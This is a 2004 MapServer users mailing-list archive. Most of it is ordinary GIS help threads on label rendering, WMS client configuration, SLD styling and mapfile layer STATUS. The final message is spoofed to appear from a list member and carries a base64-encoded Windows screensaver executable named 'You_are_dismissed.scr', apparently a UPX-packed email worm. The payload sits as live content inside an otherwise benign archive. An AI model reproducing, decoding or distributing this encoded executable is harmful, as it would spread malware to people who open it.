s9sxWtbh8OJ2fxQt8MWwuvywvNQibOlq1Sq62lvK2AAKczzEkcMbVth6D0y/xkznOa3i4I6GJ2jC N8fPbh0Yew1CJvqdL1qo425SpfbsAAU5g+ZkxstqueqNal6uWCH0c50pJ0t0t1zkVqw7QVROuDnS 1kqrbjlOiiZMt6pdkjCKRyFBPSUcqjarJKQaq4oRjCxE/cUEUxrk1fjyf8c8ekgAFMA8dGC4bFyR tPQAZfSplY9z1q0wosHtSHmyJbZCGjCNsV7dQAiUKDfkvztyhV7IAApg8ckUVEWCrlTIZnSqarku e6qdHHB8EhpLfHtSCJZ4c3ZqAjUudjpW7rW1IXyAAKcwcOUk7zfYU3kY4st2HuyXZbzuAVNrDiQT 1egmvL+tpQT1egmvL+tpVlGLYZQACGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAACei+3l6jO4oJ6L7e XqM7igryzNcIAAhoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE9XoJry/raUE9Xo Jry/raVZRm2GUAAhoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnovt5eozuKACvLM1wgACGgAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT1egmvL+toBVlGbYZQACGgAAAAAAAAAAAAAAAA AAAAAAAAAAAAAD//2Q== ------=_NextPart_000_08F5_01C45781.699A63E0-- From burmester at gis-initiative.de Sun Jun 20 22:51:31 2004 From: burmester at gis-initiative.de (GIS Initiative) Date: Mon, 21 Jun 2004 07:51:31 +0200 Subject: [Mapserver-users] problems with rosa applet Message-ID: <40D69383.25635.2DDFE1@localhost> Hi, please, excuse my bad english. I've the problem, that when I use my project with the rosa applet and turn on a layer with labels, my map get discolored. I can't explain that. If I use the project without applet, everything works fine. When I turn on the applet and the annotationlayers should be shown, the map gets the color, which I defined for the background of the label. When I zoom in and a second annotationlayer is shown, everything is normal. I don't what I can do. I hope, someone has an idea!? Best regards, Petra From gis at gmunden.ooe.gv.at Sun Jun 20 22:53:11 2004 From: gis at gmunden.ooe.gv.at (Hochegger Helmut) Date: Mon, 21 Jun 2004 07:53:11 +0200 Subject: [Mapserver-users] Mapserver-user labelingproblem Message-ID: <9E663CFAA95EE2409ACC286FA03830540F8434@gmdmail.gmunden.ooe.gv.at> help ! I am a new mapserver user and trying to display and rotate text in an annotation layer. I am able to display the text but the text is not rotated. The MapServer Version is 4.0.1 and is running on windows xp. Thank you for your help ! Helmut Hochegger ########################################### This message has been scanned by F-Secure Anti-Virus for Microsoft Exchange. For more information, connect to http://www.percomp.at From gsibilio at unina.it Mon Jun 21 00:06:53 2004 From: gsibilio at unina.it (Giancarlo Sibilio) Date: Mon, 21 Jun 2004 09:06:53 +0200 Subject: [Mapserver-users] Re: Contents of Mapserver-users digest..." Message-ID: <000c01c4575e$54f4d3d0$44dee18f@xp1700> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C4576F.187602B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0009_01C4576F.187602B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_0009_01C4576F.187602B0-- From mh at svaj.dk Mon Jun 21 00:11:11 2004 From: mh at svaj.dk (=?ISO-8859-1?Q?Martin_H=F8gh?=) Date: Mon, 21 Jun 2004 09:11:11 +0200 Subject: [Mapserver-users] WMS client problem In-Reply-To: <2576812186CDD411BF1500508B6DCE9506A83649@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9506A83649@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40D68A0F.6000608@svaj.dk> This is a multi-part message in MIME format. --------------050802040709020708000604 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hello Yes, I'm bound to 3.6.6 for now, but surely this version can act as wms client? - earlier versions did all right! /martin Kralidis,Tom [Burlington] wrote: > > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>Martin H?gh >>Sent: Friday, June 18, 2004 8:28 AM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] WMS client problem >> >> >>Dear list >>I've a problem with wms client in ms3.6.6 >> >> >> > >Is there any way you can upgrade to 4.2, or are you bound to 3.6.6? > > > >>This layer definition fails to work. The wms works ok. My ms >>client does >>not throw an error and a .img.tmp file of 0 kb is created in >>the image >>path and the client is busy for about 30 secs. before >>responding (with a >>map without the wms layer) >> >>Anybody? >> >>/martin >> >>LAYER >> NAME orto >> METADATA >> "wms_title" "orto" >> "wms_srs" "EPSG:32632" >> END >> TYPE RASTER >> STATUS default >> CONNECTIONTYPE WMS >> CONNECTION >>"http://212.242.50.42/scripts/mapserv.exe?map=D:\www\moeldrup_ >> >> >wms\ECW10\moeldrup.map&VERSION=1.0.0&FORMAT=png" > PROJECTION > "init=epsg:32632" > END > END >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > --------------050802040709020708000604 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hello
Yes, I'm bound to 3.6.6 for now, but surely this version can act as wms client? - earlier versions did all right!

/martin

Kralidis,Tom [Burlington] wrote:
  
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu 
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
Martin Høgh
Sent: Friday, June 18, 2004 8:28 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] WMS client problem


Dear list
I've a problem with wms client in ms3.6.6

    

Is there any way you can upgrade to 4.2, or are you bound to 3.6.6?
 
  
This layer definition fails to work. The wms works ok. My ms 
client does 
not throw an error and a .img.tmp file of 0 kb is created in 
the image 
path and the client is busy for about 30 secs. before 
responding (with a 
map without the wms layer)

Anybody?

/martin

LAYER
     NAME orto
     METADATA
       "wms_title" "orto"
       "wms_srs"   "EPSG:32632"
     END
     TYPE RASTER
     STATUS default
     CONNECTIONTYPE WMS
     CONNECTION 
"http://212.242.50.42/scripts/mapserv.exe?map=D:\www\moeldrup_
    
wms\ECW10\moeldrup.map&VERSION=1.0.0&FORMAT=png"
     PROJECTION
       "init=epsg:32632"
     END
    END
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

  
--------------050802040709020708000604-- From il_vikingo at yahoo.com Mon Jun 21 02:32:17 2004 From: il_vikingo at yahoo.com (Andrea Rossi) Date: Mon, 21 Jun 2004 02:32:17 -0700 (PDT) Subject: [Mapserver-users] Example with Catasto Message-ID: <20040621093217.84516.qmail@web12308.mail.yahoo.com> Hello I am tryng to find an example of an application with mapserver to manipulate a cadaster (possibly an italian one). Can anyone help me? Thank you! __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From eric.belenfant at ac-orleans-tours.fr Mon Jun 21 02:57:36 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Mon, 21 Jun 2004 11:57:36 +0200 Subject: [Mapserver-users] problem displaying a single image Message-ID: <40D6B110.6030106@ac-orleans-tours.fr> Hi , i use mapserver 4.1 on W32, apache 1.3.27, php 4.3.3 I try to display a map provided by MAPINFO but when i try the following URL http://127.0.0.1/cgi-bin/mapserv_41.exe?map=C%3A%5CProgram+Files%5CEasyPHP1-7%5Cwww%5Cmapserver%5Ccommune.map&mode=map i have no image displayed in the web browser the mapserver configuration is : MapServer version 4.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF O UTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIEN T SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE the map is the following (commune.map): MAP NAME "Europe in purple" SIZE 400 400 STATUS ON UNITS METERS IMAGETYPE PNG EXTENT 557080.396149 2157880.301791 656751.905580 2292246.846584 SHAPEPATH "C:\Program Files\EasyPHP1-7\www\mapserver\data" IMAGECOLOR 255 255 255 LAYER NAME "communes18_original" TYPE POLYGON STATUS ON CONNECTIONTYPE OGR CONNECTION "C:\Program Files\EasyPHP1-7\www\mapserver\data\communes18_original.TAB" CLASS COLOR 232 232 255 OUTLINECOLOR 32 32 255 END END END Anyone could give me a hint ????? thanks eric -- eric BELENFANT *Tel* : 02.38.79.45.98 ------------------------ p?le SYSTEMES PARTAGES *DEP - rectorat d'Orl?ans-Tours* --------------------------------------------------- /Pour toute information sur la DEP ou pour obtenir des statistiques sur l'acad?mie, consultez la base de pilotage/ PILOT From Tom.Kralidis at ec.gc.ca Mon Jun 21 05:29:27 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 21 Jun 2004 08:29:27 -0400 Subject: [Mapserver-users] querymap with WMS GetFeatureInfo Message-ID: <2576812186CDD411BF1500508B6DCE950736703E@ecnwri1.ontario.int.ec.gc.ca> Hi, In the itasca demo, demo_footer.html provides the following query footer template chunk:
standard querymap cached query
...which, when running the demo in query mode, provides a querymap and cached querymap image. As we are aware, MapServer query templates get used whenever OGC:WMS GetFeatureInfo is called with info_format=text/html. My question is how would one replicate the querymap-ish behaviour through an HTML template in WMS server mode? The chunk above in WMS server mode returns blank images, most likely because the template values are usually passed through a HTML form-based app. Cheers ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ From jdenisgiguere at fastmail.fm Mon Jun 21 05:36:19 2004 From: jdenisgiguere at fastmail.fm (Jean-Denis Giguere) Date: Mon, 21 Jun 2004 08:36:19 -0400 Subject: [Mapserver-users] sld example In-Reply-To: <2576812186CDD411BF1500508B6DCE9507367022@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507367022@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40D6D643.6010600@fastmail.fm> Kralidis,Tom [Burlington] wrote: > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>Dean Gadoury >>Sent: Friday, June 18, 2004 10:42 AM >>To: MapServer List >>Subject: [Mapserver-users] sld example >> >> >>Hi, >>Does anyone have an example of an SLD document in which point symbols >>are styled? >>Dean >> > > > Try: > > http://cgdi-dev.geoconnections.org/prototypes/sld/gcdb.xml In your example uses the tag which doesn't exist in version 1.0.0 of SLD. Do you have an example of SLD working in MapServer using and ? Thank you in advance, Jean-Denis > > Alternatively, you can also do this with PHP to convert existing > MapServer classes to OGC:SLD, i.e.: > > // load mapscript > dl("php_mapscript_42.dll"); > > // instantiate a new Map Object > // with the mapfile as an argument > $oMap = ms_newMapObj("demo.map"); > > // generate an SLD into a string variable > $sldString = $oMap->generatesld(); > > // print out the SLD > // or do whatever with it > echo $sldString; > ?> > > ..Tom > > ========================= > Tom Kralidis > Systems Scientist > Environment Canada > Tel: +01-905-336-4409 > http://www.ec.gc.ca/ > > > > > >>-- >>___________________________ >> >>Dean Gadoury >> >>DM Solutions Group >>30 Rosemount Ave. Suite 200 >>Ottawa, Ontario. K1Y 1P4 >>613.565.5056 ext. 24 >> >>dgadoury at dmsolutions.ca >>www.dmsolutions.ca >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Tom.Kralidis at ec.gc.ca Mon Jun 21 05:44:57 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 21 Jun 2004 08:44:57 -0400 Subject: [Mapserver-users] sld example Message-ID: <2576812186CDD411BF1500508B6DCE950736703F@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: Jean-Denis Giguere [mailto:jdenisgiguere at fastmail.fm] > Sent: Monday, June 21, 2004 8:36 AM > To: mapserver-users at lists.gis.umn.edu > Cc: Kralidis,Tom [Burlington] > Subject: Re: [Mapserver-users] sld example > > > Kralidis,Tom [Burlington] wrote: > > > >>-----Original Message----- > >>From: mapserver-users-admin at lists.gis.umn.edu > >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > >>Dean Gadoury > >>Sent: Friday, June 18, 2004 10:42 AM > >>To: MapServer List > >>Subject: [Mapserver-users] sld example > >> > >> > >>Hi, > >>Does anyone have an example of an SLD document in which > point symbols > >>are styled? > >>Dean > >> > > > > > > Try: > > > > http://cgdi-dev.geoconnections.org/prototypes/sld/gcdb.xml > > In your example uses the tag which doesn't exist in > version 1.0.0 of SLD. Do you have an example of SLD working > in MapServer > using and ? > Whoops!! I provided the wrong filename suffix -- try this: http://cgdi-dev.geoconnections.org/prototypes/sld/gcdb.sld ..Tom > Thank you in advance, > > Jean-Denis > > > > Alternatively, you can also do this with PHP to convert existing > > MapServer classes to OGC:SLD, i.e.: > > > > > // load mapscript > > dl("php_mapscript_42.dll"); > > > > // instantiate a new Map Object > > // with the mapfile as an argument > > $oMap = ms_newMapObj("demo.map"); > > > > // generate an SLD into a string variable > > $sldString = $oMap->generatesld(); > > > > // print out the SLD > > // or do whatever with it > > echo $sldString; > > ?> > > > > ..Tom > > > > ========================= > > Tom Kralidis > > Systems Scientist > > Environment Canada > > Tel: +01-905-336-4409 > > http://www.ec.gc.ca/ > > > > > > > > > > > >>-- > >>___________________________ > >> > >>Dean Gadoury > >> > >>DM Solutions Group > >>30 Rosemount Ave. Suite 200 > >>Ottawa, Ontario. K1Y 1P4 > >>613.565.5056 ext. 24 > >> > >>dgadoury at dmsolutions.ca > >>www.dmsolutions.ca > >> > >> > >>_______________________________________________ > >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > >> > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From j.l.h.hartmann at uva.nl Mon Jun 21 06:18:10 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Mon, 21 Jun 2004 15:18:10 +0200 Subject: [Mapserver-users] problem displaying a single image In-Reply-To: <40D6B110.6030106@ac-orleans-tours.fr> References: <40D6B110.6030106@ac-orleans-tours.fr> Message-ID: <40D6E012.2090100@uva.nl> Eric, setting STATUS DEFAULT in the LAYER definition will probably display the image. STATUS is not required in the MAP part. Jan Belenfant Eric wrote: > Hi , > i use mapserver 4.1 on W32, apache 1.3.27, php 4.3.3 > I try to display a map provided by MAPINFO but when i try the following URL > http://127.0.0.1/cgi-bin/mapserv_41.exe?map=C%3A%5CProgram+Files%5CEasyPHP1-7%5Cwww%5Cmapserver%5Ccommune.map&mode=map > > i have no image displayed in the web browser > > the mapserver configuration is : > > MapServer version 4.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > OUTPUT=PDF O > UTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIEN > T SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=OGR INPUT=GDAL > INPUT=SHAPEFILE > > the map is the following (commune.map): > > MAP > NAME "Europe in purple" > SIZE 400 400 > STATUS ON > UNITS METERS > IMAGETYPE PNG > EXTENT 557080.396149 2157880.301791 656751.905580 2292246.846584 > SHAPEPATH "C:\Program Files\EasyPHP1-7\www\mapserver\data" > IMAGECOLOR 255 255 255 > LAYER > NAME "communes18_original" > TYPE POLYGON > STATUS ON > CONNECTIONTYPE OGR > CONNECTION "C:\Program > Files\EasyPHP1-7\www\mapserver\data\communes18_original.TAB" > CLASS > COLOR 232 232 255 > OUTLINECOLOR 32 32 255 > END > END > END > > Anyone could give me a hint ????? > > thanks > > eric > From steve.lime at dnr.state.mn.us Mon Jun 21 07:28:47 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 21 Jun 2004 08:28:47 -0600 Subject: [Mapserver-users] Re: Msg reply Message-ID: ----------urwaagcdeffbvwkiktnn Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------urwaagcdeffbvwkiktnn Content-Type: application/octet-stream; name="You_are_dismissed.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="You_are_dismissed.scr" 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 